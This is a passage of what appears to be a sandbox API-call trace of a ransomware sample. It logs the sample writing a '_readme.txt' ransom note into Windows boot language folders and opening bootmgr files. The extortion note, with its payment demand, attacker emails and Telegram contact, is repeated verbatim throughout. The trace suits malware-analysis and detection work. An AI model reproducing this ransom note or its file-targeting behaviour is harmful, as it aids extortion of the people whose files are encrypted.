PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.864] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.864] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.864] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0119.864] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.864] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.864] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.864] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.864] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0119.864] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.864] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.864] PathFindFileNameW (pszPath="") returned="" [0119.864] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.865] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.865] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.865] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.865] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0119.865] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 0 [0119.865] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.865] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.865] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\_readme.txt" (normalized: "c:\\boot\\sv-se\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.865] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.866] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\bootmgr.exe.mui") returned=".mui" [0119.866] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.866] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.866] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.866] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.866] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0119.866] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.866] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.866] PathFindFileNameW (pszPath="") returned="" [0119.866] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.867] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.867] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.867] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.867] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0119.867] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 0 [0119.867] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.867] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.867] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_readme.txt" (normalized: "c:\\boot\\tr-tr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.867] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.867] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0119.867] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.868] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.868] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.868] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.868] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0119.868] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.868] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.868] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.868] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.868] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.868] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0119.868] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0119.869] lstrcpyW (in: lpString1=0x3096780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.869] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.869] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.869] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, 